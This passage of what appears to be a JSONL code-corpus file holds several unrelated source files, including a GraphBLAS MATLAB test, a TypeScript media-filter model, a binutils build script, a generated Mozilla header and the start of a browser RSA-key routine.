);\n\n\tdocument.getElementById(\"searchinput\").addEventListener( 'keyup', function( event ) {\n\t\tswitch (event.keyCode) {\n\t\t\tcase 13:\n\t\t\t\tevent.preventDefault();\n\t\t\t\tdoSearch();\n\t\t\t\tsearchboxDirty = false;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tsearchboxDirty = true;\n\t\t}\n\t}, false );\n\n\tdocument.addEventListener( 'keydown', function( event ) {\n\t\tif( event.key == \"F\" && (event.ctrlKey || event.metaKey) ) {//Control+Shift+f\n\t\t\tevent.preventDefault();\n\t\t\ttoggleSearch();\n\t\t}\n\t}, false );\n\tif( window.Reveal ) Reveal.registerKeyboardShortcut( 'Ctrl-Shift-F', 'Search' );\n\tcloseSearch();\n\treturn { open: openSearch };\n})();\n"} +{"text": "function gbtest1\n%GBTEST1 test GrB\n\n% SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2020, All Rights Reserved.\n% http://suitesparse.com See GraphBLAS/Doc/License.txt for license.\n\nrng ('default') ;\nX = 100 * sprand (3, 4, 0.4) %#ok<*NOPRT>\n\n% types = { 'double' } ;\n\ntypes = gbtest_types ;\n\nm = 2 ;\nn = 3 ;\n\nfor k = 1:length (types)\n type = types {k} ;\n\n fprintf ('\\n---- A = GrB (X) :\\n') ;\n A = GrB (X)\n Z = double (A)\n assert (gbtest_eq (Z, X)) ;\n\n fprintf ('\\n---- A = GrB (X, ''%s'') :\\n', type) ;\n A = GrB (X, type)\n Z = logical (A)\n if (isequal (type, 'logical'))\n assert (islogical (Z)) ;\n assert (gbtest_eq (Z, logical (X))) ;\n end\n\n fprintf ('\\n---- A = GrB (%d, %d) :\\n', m, n) ;\n A = GrB (m, n)\n Z = sparse (m, n)\n assert (isequal (A, Z)) ;\n A = GrB (m, n, 'by row') ;\n assert (isequal (A, Z)) ;\n\n fprintf ('\\n---- A = GrB (%d, %d, ''%s'') :\\n', m, n, type) ;\n A = GrB (m, n, type)\n Z = logical (A)\n if (isequal (type, 'logical'))\n assert (islogical (Z)) ;\n assert (gbtest_eq (Z, logical (sparse (m,n)))) ;\n end\n\n Z = full (fix (X)) ;\n A = GrB (Z, 'by row', type) ;\n Y = cast (Z, type) ;\n assert (isequal (A, Y)) ;\n\nend\n\nX = [ ] ;\nA = GrB (X, 'by row', 'double') ;\nassert (isequal (A, X)) ;\n\nA = GrB (m, n, 'by row', 'double') ;\nX = sparse (m, n) ;\nassert (isequal (A, X)) ;\n\nfprintf ('gbtest1: all tests passed\\n') ;\n\n"} +{"text": "% File src/library/utils/man/remove.packages.Rd\n% Part of the R package, http://www.R-project.org\n% Copyright 1995-2009 R Core Team\n% Distributed under GPL 2 or later\n\n\\name{remove.packages}\n\\alias{remove.packages}\n\\concept{uninstall}\n\\title{Remove Installed Packages}\n\\description{\n Removes installed packages/bundles and updates index information\n as necessary.\n}\n\\usage{\nremove.packages(pkgs, lib)\n}\n\\arguments{\n \\item{pkgs}{a character vector with the names of the packages to be removed.}\n \\item{lib}{a character vector giving the library directories to remove the\n packages from. If missing, defaults to the first element in\n \\code{\\link{.libPaths}()}.}\n}\n\n\\seealso{\n#ifdef unix\n \\code{\\link{REMOVE}} for a command line version;\n#endif\n \\code{\\link{install.packages}} for installing packages.\n}\n\\keyword{utilities}\n"} +{"text": "/*\nDocument : jquery.pnotify.default.css\nCreated on : Nov 23, 2009, 3:14:10 PM\nAuthor : Hunter Perrin\nVersion : 1.2.0\nLink : http://pinesframework.org/pnotify/\nDescription:\n\tDefault styling for Pines Notify jQuery plugin.\n*/\n/* -- Notice */\n.ui-pnotify {\ntop: 25px;\nright: 25px;\nposition: absolute;\nheight: auto;\n/* Ensures notices are above everything */\nz-index: 9999;\n}\n/* Hides position: fixed from IE6 */\nhtml > body .ui-pnotify {\nposition: fixed;\n}\n.ui-pnotify .ui-pnotify-shadow {\n-webkit-box-shadow: 0px 2px 10px rgba(50, 50, 50, 0.5);\n-moz-box-shadow: 0px 2px 10px rgba(50, 50, 50, 0.5);\nbox-shadow: 0px 2px 10px rgba(50, 50, 50, 0.5);\n}\n.ui-pnotify-container {\nbackground-position: 0 0;\npadding: .8em;\nheight: 100%;\nmargin: 0;\n}\n.ui-pnotify-sharp {\n-webkit-border-radius: 0;\n-moz-border-radius: 0;\nborder-radius: 0;\n}\n.ui-pnotify-closer, .ui-pnotify-sticker {\nfloat: right;\nmargin-left: .2em;\n}\n.ui-pnotify-title {\ndisplay: block;\nmargin-bottom: .4em;\n}\n.ui-pnotify-text {\ndisplay: block;\n}\n.ui-pnotify-icon, .ui-pnotify-icon span {\ndisplay: block;\nfloat: left;\nmargin-right: .2em;\n}\n/* -- History Pulldown */\n.ui-pnotify-history-container {\nposition: absolute;\ntop: 0;\nright: 18px;\nwidth: 70px;\nborder-top: none;\npadding: 0;\n-webkit-border-top-left-radius: 0;\n-moz-border-top-left-radius: 0;\nborder-top-left-radius: 0;\n-webkit-border-top-right-radius: 0;\n-moz-border-top-right-radius: 0;\nborder-top-right-radius: 0;\n/* Ensures history container is above notices. */\nz-index: 10000;\n}\n.ui-pnotify-history-container .ui-pnotify-history-header {\npadding: 2px;\n}\n.ui-pnotify-history-container button {\ncursor: pointer;\ndisplay: block;\nwidth: 100%;\n}\n.ui-pnotify-history-container .ui-pnotify-history-pulldown {\ndisplay: block;\nmargin: 0 auto;\n}"} +{"text": "import queryString, { ParsedQuery } from \"query-string\";\nimport {\n FindFilterType,\n PerformerFilterType,\n ResolutionEnum,\n SceneFilterType,\n SceneMarkerFilterType,\n SortDirectionEnum,\n MovieFilterType,\n StudioFilterType,\n GalleryFilterType,\n TagFilterType,\n} from \"src/core/generated-graphql\";\nimport { stringToGender } from \"src/core/StashService\";\nimport {\n Criterion,\n ICriterionOption,\n CriterionType,\n CriterionOption,\n NumberCriterion,\n StringCriterion,\n DurationCriterion,\n} from \"./criteria/criterion\";\nimport {\n FavoriteCriterion,\n FavoriteCriterionOption,\n} from \"./criteria/favorite\";\nimport {\n HasMarkersCriterion,\n HasMarkersCriterionOption,\n} from \"./criteria/has-markers\";\nimport {\n IsMissingCriterion,\n PerformerIsMissingCriterionOption,\n SceneIsMissingCriterionOption,\n GalleryIsMissingCriterionOption,\n TagIsMissingCriterionOption,\n StudioIsMissingCriterionOption,\n MovieIsMissingCriterionOption,\n} from \"./criteria/is-missing\";\nimport { NoneCriterionOption } from \"./criteria/none\";\nimport {\n PerformersCriterion,\n PerformersCriterionOption,\n} from \"./criteria/performers\";\nimport { RatingCriterion, RatingCriterionOption } from \"./criteria/rating\";\nimport {\n ResolutionCriterion,\n ResolutionCriterionOption,\n} from \"./criteria/resolution\";\nimport {\n StudiosCriterion,\n StudiosCriterionOption,\n ParentStudiosCriterion,\n ParentStudiosCriterionOption,\n} from \"./criteria/studios\";\nimport {\n SceneTagsCriterionOption,\n TagsCriterion,\n TagsCriterionOption,\n} from \"./criteria/tags\";\nimport { makeCriteria } from \"./criteria/utils\";\nimport { DisplayMode, FilterMode } from \"./types\";\nimport { GenderCriterionOption, GenderCriterion } from \"./criteria/gender\";\nimport { MoviesCriterionOption, MoviesCriterion } from \"./criteria/movies\";\n\ninterface IQueryParameters {\n perPage?: string;\n sortby?: string;\n sortdir?: string;\n disp?: string;\n q?: string;\n p?: string;\n c?: string[];\n}\n\nconst DEFAULT_PARAMS = {\n sortDirection: SortDirectionEnum.Asc,\n displayMode: DisplayMode.Grid,\n currentPage: 1,\n itemsPerPage: 40,\n};\n\n// TODO: handle customCriteria\nexport class ListFilterModel {\n public filterMode: FilterMode = FilterMode.Scenes;\n public searchTerm?: string;\n public currentPage = DEFAULT_PARAMS.currentPage;\n public itemsPerPage = DEFAULT_PARAMS.itemsPerPage;\n public sortDirection: SortDirectionEnum = SortDirectionEnum.Asc;\n public sortBy?: string;\n public sortByOptions: string[] = [];\n public displayMode: DisplayMode = DEFAULT_PARAMS.displayMode;\n public displayModeOptions: DisplayMode[] = [];\n public criterionOptions: ICriterionOption[] = [];\n public criteria: Array = [];\n public randomSeed = -1;\n\n private static createCriterionOption(criterion: CriterionType) {\n return new CriterionOption(Criterion.getLabel(criterion), criterion);\n }\n\n public constructor(filterMode: FilterMode, rawParms?: ParsedQuery) {\n const params = rawParms as IQueryParameters;\n switch (filterMode) {\n case FilterMode.Scenes:\n this.sortBy = \"date\";\n this.sortByOptions = [\n \"title\",\n \"path\",\n \"rating\",\n \"o_counter\",\n \"date\",\n \"filesize\",\n \"duration\",\n \"framerate\",\n \"bitrate\",\n \"random\",\n ];\n this.displayModeOptions = [\n DisplayMode.Grid,\n DisplayMode.List,\n DisplayMode.Wall,\n ];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new RatingCriterionOption(),\n ListFilterModel.createCriterionOption(\"o_counter\"),\n new ResolutionCriterionOption(),\n ListFilterModel.createCriterionOption(\"duration\"),\n new HasMarkersCriterionOption(),\n new SceneIsMissingCriterionOption(),\n new TagsCriterionOption(),\n new PerformersCriterionOption(),\n new StudiosCriterionOption(),\n new MoviesCriterionOption(),\n ];\n break;\n case FilterMode.Performers: {\n this.sortBy = \"name\";\n this.sortByOptions = [\n \"name\",\n \"height\",\n \"birthdate\",\n \"scenes_count\",\n \"random\",\n ];\n this.displayModeOptions = [DisplayMode.Grid, DisplayMode.List];\n\n const numberCriteria: CriterionType[] = [\"birth_year\", \"age\"];\n const stringCriteria: CriterionType[] = [\n \"ethnicity\",\n \"country\",\n \"eye_color\",\n \"height\",\n \"measurements\",\n \"fake_tits\",\n \"career_length\",\n \"tattoos\",\n \"piercings\",\n \"aliases\",\n ];\n\n this.criterionOptions = [\n new NoneCriterionOption(),\n new FavoriteCriterionOption(),\n new GenderCriterionOption(),\n new PerformerIsMissingCriterionOption(),\n ...numberCriteria\n .concat(stringCriteria)\n .map((c) => ListFilterModel.createCriterionOption(c)),\n ];\n\n break;\n }\n case FilterMode.Studios:\n this.sortBy = \"name\";\n this.sortByOptions = [\"name\", \"scenes_count\"];\n this.displayModeOptions = [DisplayMode.Grid];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new ParentStudiosCriterionOption(),\n new StudioIsMissingCriterionOption(),\n ];\n break;\n case FilterMode.Movies:\n this.sortBy = \"name\";\n this.sortByOptions = [\"name\", \"scenes_count\"];\n this.displayModeOptions = [DisplayMode.Grid];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new StudiosCriterionOption(),\n new MovieIsMissingCriterionOption(),\n ];\n break;\n case FilterMode.Galleries:\n this.sortBy = \"path\";\n this.sortByOptions = [\"path\"];\n this.displayModeOptions = [DisplayMode.Grid, DisplayMode.List];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new GalleryIsMissingCriterionOption(),\n ];\n break;\n case FilterMode.SceneMarkers:\n this.sortBy = \"title\";\n this.sortByOptions = [\n \"title\",\n \"seconds\",\n \"scene_id\",\n \"random\",\n \"scenes_updated_at\",\n ];\n this.displayModeOptions = [DisplayMode.Wall];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new TagsCriterionOption(),\n new SceneTagsCriterionOption(),\n new PerformersCriterionOption(),\n ];\n break;\n case FilterMode.Tags:\n this.sortBy = \"name\";\n // scene markers count has been disabled for now due to performance\n // issues\n this.sortByOptions = [\n \"name\",\n \"scenes_count\" /* , \"scene_markers_count\"*/,\n ];\n this.displayModeOptions = [DisplayMode.Grid, DisplayMode.List];\n this.criterionOptions = [\n new NoneCriterionOption(),\n new TagIsMissingCriterionOption(),\n ListFilterModel.createCriterionOption(\"scene_count\"),\n // marker count has been disabled for now due to performance issues\n // ListFilterModel.createCriterionOption(\"marker_count\"),\n ];\n break;\n default:\n this.sortByOptions = [];\n this.displayModeOptions = [];\n this.criterionOptions = [new NoneCriterionOption()];\n break;\n }\n if (!!this.displayMode === false) {\n this.displayMode = this.displayModeOptions[0];\n }\n this.sortByOptions = [...this.sortByOptions, \"created_at\", \"updated_at\"];\n if (params) this.configureFromQueryParameters(params);\n }\n\n public configureFromQueryParameters(params: IQueryParameters) {\n if (params.sortby !== undefined) {\n this.sortBy = params.sortby;\n\n // parse the random seed if provided\n const randomPrefix = \"random_\";\n if (this.sortBy && this.sortBy.startsWith(randomPrefix)) {\n const seedStr = this.sortBy.substring(randomPrefix.length);\n\n this.sortBy = \"random\";\n try {\n this.randomSeed = Number.parseInt(seedStr, 10);\n } catch (err) {\n // ignore\n }\n }\n }\n this.sortDirection =\n params.sortdir === \"desc\"\n ? SortDirectionEnum.Desc\n : SortDirectionEnum.Asc;\n if (params.disp) {\n this.displayMode = Number.parseInt(params.disp, 10);\n }\n if (params.q) {\n this.searchTerm = params.q;\n }\n if (params.p) {\n this.currentPage = Number.parseInt(params.p, 10);\n }\n if (params.perPage) this.itemsPerPage = Number.parseInt(params.perPage, 10);\n\n if (params.c !== undefined) {\n this.criteria = [];\n\n let jsonParameters: string[];\n if (params.c instanceof Array) {\n jsonParameters = params.c;\n } else {\n jsonParameters = [params.c];\n }\n\n jsonParameters.forEach((jsonString) => {\n const encodedCriterion = JSON.parse(jsonString);\n const criterion = makeCriteria(encodedCriterion.type);\n // it's possible that we have unsupported criteria. Just skip if so.\n if (criterion) {\n criterion.value = encodedCriterion.value;\n criterion.modifier = encodedCriterion.modifier;\n this.criteria.push(criterion);\n }\n });\n }\n }\n\n private setRandomSeed() {\n if (this.sortBy === \"random\") {\n // #321 - set the random seed if it is not set\n if (this.randomSeed === -1) {\n // generate 8-digit seed\n this.randomSeed = Math.floor(Math.random() * 10 ** 8);\n }\n } else {\n this.randomSeed = -1;\n }\n }\n\n private getSortBy(): string | undefined {\n this.setRandomSeed();\n\n if (this.sortBy === \"random\") {\n return `${this.sortBy}_${this.randomSeed.toString()}`;\n }\n\n return this.sortBy;\n }\n\n public makeQueryParameters(): string {\n const encodedCriteria: string[] = [];\n this.criteria.forEach((criterion) => {\n const encodedCriterion: Partial = {\n type: criterion.type,\n // #394 - the presence of a # symbol results in the query URL being\n // malformed. We could set encode: true in the queryString.stringify\n // call below, but this results in a URL that gets pretty long and ugly.\n // Instead, we'll encode the criteria values.\n value: criterion.encodeValue(),\n modifier: criterion.modifier,\n };\n const jsonCriterion = JSON.stringify(encodedCriterion);\n encodedCriteria.push(jsonCriterion);\n });\n\n const result = {\n perPage:\n this.itemsPerPage !== DEFAULT_PARAMS.itemsPerPage\n ? this.itemsPerPage\n : undefined,\n sortby: this.sortBy !== \"date\" ? this.getSortBy() : undefined,\n sortdir:\n this.sortDirection === SortDirectionEnum.Desc ? \"desc\" : undefined,\n disp:\n this.displayMode !== DEFAULT_PARAMS.displayMode\n ? this.displayMode\n : undefined,\n q: this.searchTerm,\n p:\n this.currentPage !== DEFAULT_PARAMS.currentPage\n ? this.currentPage\n : undefined,\n c: encodedCriteria,\n };\n return queryString.stringify(result, { encode: false });\n }\n\n // TODO: These don't support multiple of the same criteria, only the last one set is used.\n\n public makeFindFilter(): FindFilterType {\n return {\n q: this.searchTerm,\n page: this.currentPage,\n per_page: this.itemsPerPage,\n sort: this.getSortBy(),\n direction: this.sortDirection,\n };\n }\n\n public makeSceneFilter(): SceneFilterType {\n const result: SceneFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"rating\": {\n const ratingCrit = criterion as RatingCriterion;\n result.rating = {\n value: ratingCrit.value,\n modifier: ratingCrit.modifier,\n };\n break;\n }\n case \"o_counter\": {\n const oCounterCrit = criterion as NumberCriterion;\n result.o_counter = {\n value: oCounterCrit.value,\n modifier: oCounterCrit.modifier,\n };\n break;\n }\n case \"resolution\": {\n switch ((criterion as ResolutionCriterion).value) {\n case \"240p\":\n result.resolution = ResolutionEnum.Low;\n break;\n case \"480p\":\n result.resolution = ResolutionEnum.Standard;\n break;\n case \"720p\":\n result.resolution = ResolutionEnum.StandardHd;\n break;\n case \"1080p\":\n result.resolution = ResolutionEnum.FullHd;\n break;\n case \"4k\":\n result.resolution = ResolutionEnum.FourK;\n break;\n // no default\n }\n break;\n }\n case \"duration\": {\n const durationCrit = criterion as DurationCriterion;\n result.duration = {\n value: durationCrit.value,\n modifier: durationCrit.modifier,\n };\n break;\n }\n case \"hasMarkers\":\n result.has_markers = (criterion as HasMarkersCriterion).value;\n break;\n case \"sceneIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n break;\n case \"tags\": {\n const tagsCrit = criterion as TagsCriterion;\n result.tags = {\n value: tagsCrit.value.map((tag) => tag.id),\n modifier: tagsCrit.modifier,\n };\n break;\n }\n case \"performers\": {\n const perfCrit = criterion as PerformersCriterion;\n result.performers = {\n value: perfCrit.value.map((perf) => perf.id),\n modifier: perfCrit.modifier,\n };\n break;\n }\n case \"studios\": {\n const studCrit = criterion as StudiosCriterion;\n result.studios = {\n value: studCrit.value.map((studio) => studio.id),\n modifier: studCrit.modifier,\n };\n break;\n }\n case \"movies\": {\n const movCrit = criterion as MoviesCriterion;\n result.movies = {\n value: movCrit.value.map((movie) => movie.id),\n modifier: movCrit.modifier,\n };\n break;\n }\n // no default\n }\n });\n return result;\n }\n\n public makePerformerFilter(): PerformerFilterType {\n const result: PerformerFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"favorite\":\n result.filter_favorites =\n (criterion as FavoriteCriterion).value === \"true\";\n break;\n case \"birth_year\": {\n const byCrit = criterion as NumberCriterion;\n result.birth_year = {\n value: byCrit.value,\n modifier: byCrit.modifier,\n };\n break;\n }\n case \"age\": {\n const ageCrit = criterion as NumberCriterion;\n result.age = { value: ageCrit.value, modifier: ageCrit.modifier };\n break;\n }\n case \"ethnicity\": {\n const ethCrit = criterion as StringCriterion;\n result.ethnicity = {\n value: ethCrit.value,\n modifier: ethCrit.modifier,\n };\n break;\n }\n case \"country\": {\n const cntryCrit = criterion as StringCriterion;\n result.country = {\n value: cntryCrit.value,\n modifier: cntryCrit.modifier,\n };\n break;\n }\n case \"eye_color\": {\n const ecCrit = criterion as StringCriterion;\n result.eye_color = { value: ecCrit.value, modifier: ecCrit.modifier };\n break;\n }\n case \"height\": {\n const hCrit = criterion as StringCriterion;\n result.height = { value: hCrit.value, modifier: hCrit.modifier };\n break;\n }\n case \"measurements\": {\n const mCrit = criterion as StringCriterion;\n result.measurements = {\n value: mCrit.value,\n modifier: mCrit.modifier,\n };\n break;\n }\n case \"fake_tits\": {\n const ftCrit = criterion as StringCriterion;\n result.fake_tits = { value: ftCrit.value, modifier: ftCrit.modifier };\n break;\n }\n case \"career_length\": {\n const clCrit = criterion as StringCriterion;\n result.career_length = {\n value: clCrit.value,\n modifier: clCrit.modifier,\n };\n break;\n }\n case \"tattoos\": {\n const tCrit = criterion as StringCriterion;\n result.tattoos = { value: tCrit.value, modifier: tCrit.modifier };\n break;\n }\n case \"piercings\": {\n const pCrit = criterion as StringCriterion;\n result.piercings = { value: pCrit.value, modifier: pCrit.modifier };\n break;\n }\n case \"aliases\": {\n const aCrit = criterion as StringCriterion;\n result.aliases = { value: aCrit.value, modifier: aCrit.modifier };\n break;\n }\n case \"gender\": {\n const gCrit = criterion as GenderCriterion;\n result.gender = {\n value: stringToGender(gCrit.value),\n modifier: gCrit.modifier,\n };\n break;\n }\n case \"performerIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n // no default\n }\n });\n return result;\n }\n\n public makeSceneMarkerFilter(): SceneMarkerFilterType {\n const result: SceneMarkerFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"tags\": {\n const tagsCrit = criterion as TagsCriterion;\n result.tags = {\n value: tagsCrit.value.map((tag) => tag.id),\n modifier: tagsCrit.modifier,\n };\n break;\n }\n case \"sceneTags\": {\n const sceneTagsCrit = criterion as TagsCriterion;\n result.scene_tags = {\n value: sceneTagsCrit.value.map((tag) => tag.id),\n modifier: sceneTagsCrit.modifier,\n };\n break;\n }\n case \"performers\": {\n const performersCrit = criterion as PerformersCriterion;\n result.performers = {\n value: performersCrit.value.map((performer) => performer.id),\n modifier: performersCrit.modifier,\n };\n break;\n }\n // no default\n }\n });\n return result;\n }\n\n public makeMovieFilter(): MovieFilterType {\n const result: MovieFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"studios\": {\n const studCrit = criterion as StudiosCriterion;\n result.studios = {\n value: studCrit.value.map((studio) => studio.id),\n modifier: studCrit.modifier,\n };\n break;\n }\n case \"movieIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n // no default\n }\n });\n return result;\n }\n\n public makeStudioFilter(): StudioFilterType {\n const result: StudioFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"parent_studios\": {\n const studCrit = criterion as ParentStudiosCriterion;\n result.parents = {\n value: studCrit.value.map((studio) => studio.id),\n modifier: studCrit.modifier,\n };\n break;\n }\n case \"studioIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n // no default\n }\n });\n\n return result;\n }\n\n public makeGalleryFilter(): GalleryFilterType {\n const result: GalleryFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"galleryIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n break;\n // no default\n }\n });\n\n return result;\n }\n\n public makeTagFilter(): TagFilterType {\n const result: TagFilterType = {};\n this.criteria.forEach((criterion) => {\n switch (criterion.type) {\n case \"tagIsMissing\":\n result.is_missing = (criterion as IsMissingCriterion).value;\n break;\n case \"scene_count\": {\n const countCrit = criterion as NumberCriterion;\n result.scene_count = {\n value: countCrit.value,\n modifier: countCrit.modifier,\n };\n break;\n }\n // disabled due to performance issues\n // case \"marker_count\": {\n // const countCrit = criterion as NumberCriterion;\n // result.marker_count = {\n // value: countCrit.value,\n // modifier: countCrit.modifier,\n // };\n // break;\n // }\n // no default\n }\n });\n\n return result;\n }\n}\n"} +{"text": "//------------------------------------------------------------------------------\n// \n// This code was generated by a tool.\n// Runtime Version:4.0.30319.42000\n//\n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// \n//------------------------------------------------------------------------------\n\nnamespace folderLocker.Properties\n{\n\n\n [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"11.0.0.0\")]\n internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase\n {\n\n private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\n\n public static Settings Default\n {\n get\n {\n return defaultInstance;\n }\n }\n }\n}\n"} +{"text": "package com.leetcode.easy;\n\npublic class Massage {\n //打家劫舍的小偷干起了按摩师 仍然保留了以前的习惯..\n //思路与打家劫舍一摸一样 小伙伴可以把打家劫舍一系列问题一起做一下 集中训练\n public int massage(int[] nums) {\n if (nums.length == 0) {\n return 0;\n }\n if (nums.length == 1) {\n return nums[0];\n }\n if (nums.length == 2) {\n return Math.max(nums[0], nums[1]);\n }\n int[] dp = new int[nums.length];\n dp[0] = nums[0];\n dp[1] = Math.max(nums[0], nums[1]);\n for (int i = 2; i < nums.length; i++) {\n dp[i] = Math.max(dp[i - 1], dp[i - 2] + nums[i]);\n }\n return dp[nums.length - 1];\n }\n}\n"} +{"text": "#!/bin/bash\n\nbinutils_version=2.25.1\nmake_flags='-j12'\n\nroot_dir=\"$1\"\nif [ -z \"$root_dir\" -o ! -d \"$root_dir\" ]; then\n root_dir=$(mktemp -d)\nfi\ncd $root_dir\n\nif test -z $TMPDIR; then\n TMPDIR=/tmp/\nfi\n\n# Download the source of the specified version of binutils\nwget -c -P $TMPDIR ftp://ftp.gnu.org/gnu/binutils/binutils-${binutils_version}.tar.bz2 || exit 1\ntar xjf $TMPDIR/binutils-${binutils_version}.tar.bz2\n\n# Build binutils\nmkdir binutils-objdir\ncd binutils-objdir\n\n../binutils-$binutils_version/configure --prefix /tools/binutils/ --enable-gold --enable-plugins --disable-nls || exit 1\nmake $make_flags || exit 1\nmake install $make_flags DESTDIR=$root_dir || exit 1\n\ncd ..\n\n# Make a package of the built binutils\ncd $root_dir/tools\ntar caf $root_dir/binutils.tar.xz binutils/\n"} +{"text": "/*\r\n * DO NOT EDIT. THIS FILE IS GENERATED FROM e:/builds/moz2_slave/mozilla-1.9.1-win32-xulrunner/build/netwerk/base/public/nsICryptoFIPSInfo.idl\r\n */\r\n\r\n#ifndef __gen_nsICryptoFIPSInfo_h__\r\n#define __gen_nsICryptoFIPSInfo_h__\r\n\r\n\r\n#ifndef __gen_nsISupports_h__\r\n#include \"nsISupports.h\"\r\n#endif\r\n\r\n/* For IDL files that don't want to include root IDL files. */\r\n#ifndef NS_NO_VTABLE\r\n#define NS_NO_VTABLE\r\n#endif\r\n\r\n/* starting interface: nsICryptoFIPSInfo */\r\n#define NS_ICRYPTOFIPSINFO_IID_STR \"99e81922-7318-4431-b3aa-78b3cb4119bb\"\r\n\r\n#define NS_ICRYPTOFIPSINFO_IID \\\r\n {0x99e81922, 0x7318, 0x4431, \\\r\n { 0xb3, 0xaa, 0x78, 0xb3, 0xcb, 0x41, 0x19, 0xbb }}\r\n\r\nclass NS_NO_VTABLE NS_SCRIPTABLE nsICryptoFIPSInfo : public nsISupports {\r\n public: \r\n\r\n NS_DECLARE_STATIC_IID_ACCESSOR(NS_ICRYPTOFIPSINFO_IID)\r\n\r\n /* readonly attribute boolean isFIPSModeActive; */\r\n NS_SCRIPTABLE NS_IMETHOD GetIsFIPSModeActive(PRBool *aIsFIPSModeActive) = 0;\r\n\r\n};\r\n\r\n NS_DEFINE_STATIC_IID_ACCESSOR(nsICryptoFIPSInfo, NS_ICRYPTOFIPSINFO_IID)\r\n\r\n/* Use this macro when declaring classes that implement this interface. */\r\n#define NS_DECL_NSICRYPTOFIPSINFO \\\r\n NS_SCRIPTABLE NS_IMETHOD GetIsFIPSModeActive(PRBool *aIsFIPSModeActive); \r\n\r\n/* Use this macro to declare functions that forward the behavior of this interface to another object. */\r\n#define NS_FORWARD_NSICRYPTOFIPSINFO(_to) \\\r\n NS_SCRIPTABLE NS_IMETHOD GetIsFIPSModeActive(PRBool *aIsFIPSModeActive) { return _to GetIsFIPSModeActive(aIsFIPSModeActive); } \r\n\r\n/* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */\r\n#define NS_FORWARD_SAFE_NSICRYPTOFIPSINFO(_to) \\\r\n NS_SCRIPTABLE NS_IMETHOD GetIsFIPSModeActive(PRBool *aIsFIPSModeActive) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetIsFIPSModeActive(aIsFIPSModeActive); } \r\n\r\n#if 0\r\n/* Use the code below as a template for the implementation class for this interface. */\r\n\r\n/* Header file */\r\nclass nsCryptoFIPSInfo : public nsICryptoFIPSInfo\r\n{\r\npublic:\r\n NS_DECL_ISUPPORTS\r\n NS_DECL_NSICRYPTOFIPSINFO\r\n\r\n nsCryptoFIPSInfo();\r\n\r\nprivate:\r\n ~nsCryptoFIPSInfo();\r\n\r\nprotected:\r\n /* additional members */\r\n};\r\n\r\n/* Implementation file */\r\nNS_IMPL_ISUPPORTS1(nsCryptoFIPSInfo, nsICryptoFIPSInfo)\r\n\r\nnsCryptoFIPSInfo::nsCryptoFIPSInfo()\r\n{\r\n /* member initializers and constructor code */\r\n}\r\n\r\nnsCryptoFIPSInfo::~nsCryptoFIPSInfo()\r\n{\r\n /* destructor code */\r\n}\r\n\r\n/* readonly attribute boolean isFIPSModeActive; */\r\nNS_IMETHODIMP nsCryptoFIPSInfo::GetIsFIPSModeActive(PRBool *aIsFIPSModeActive)\r\n{\r\n return NS_ERROR_NOT_IMPLEMENTED;\r\n}\r\n\r\n/* End of implementation class template. */\r\n#endif\r\n\r\n#define NS_CRYPTO_FIPSINFO_SERVICE_CONTRACTID \"@mozilla.org/crypto/fips-info-service;1\"\r\n#define NS_CRYPTO_FIPSINFO_SERVICE_CLASSNAME \"Mozilla Crypto FIPS Info Service\"\r\n\r\n#endif /* __gen_nsICryptoFIPSInfo_h__ */\r\n"} +{"text": "var userRSAKey = null, \nuserPublicKeyJWK = null, \nuserNonceHex = null,\nuserNonceHashed = null, \notherRSAPublicKey = null, \notherNonceEncrypted = null, \notherNonceHashed = null,\npassword = null, \nderivedKey = null; \n\nfunction startCrypto(callback) {\n\n if (window.polycrypt == undefined) {\n $(\"#working\").text(\"Unable to start \" + window.document.title + \", see the console for error messages\");\n return;\n }\n\n window.polycrypt.onalive = function() {\n console.log(\"Creating Operation\");\n\n var mL = 1024;\n\n /* Generate an RSA public/private key pair */\n var userPublicKeyOp = window.polycrypt.generateKey({\n name: \"RSAES-PKCS1-v1_5\",\n params: {\n modulusLength: mL,\n publicExponent: new Uint8Array([0x01, 0x00, 0x01])\n }\n }, true, [\"encrypt\", \"decrypt\"]);\n\n /* Now export the key to jwk */\n userPublicKeyOp.oncomplete = function(e) {\n userRSAKey = e.target.result; \n console.log(\"Finished User RSA :: \" + userRSAKey.publicKey[\"key\"].toString());\n \n var userPublicKeyExport = window.polycrypt.exportKey(\"jwk\", userRSAKey.publicKey);\n\n userPublicKeyExport.onerror = function(e) {\n console.log(\"Failed to export the user key to JWK: \" + e.target.result);\n }\n\n userPublicKeyExport.oncomplete = function(e) {\n userPublicKeyJWK = e.target.result; \n document.getElementById(\"upkb\").value = JSON.stringify(userPublicKeyJWK); \n callback();\n console.log(\"Exported RSA Key to JWK --> e:\" + userPublicKeyJWK.e + \", n: \" + userPublicKeyJWK.n);\n }\n }\n \n /* Generate and Hash a random nonce using SHA-256 */\n var userNonce = new Uint32Array(1);\n window.crypto.getRandomValues(userNonce);\n userNonceHex = window.util.hex2abv(\"\" + userNonce[0]);\n var userNonceHashOp = 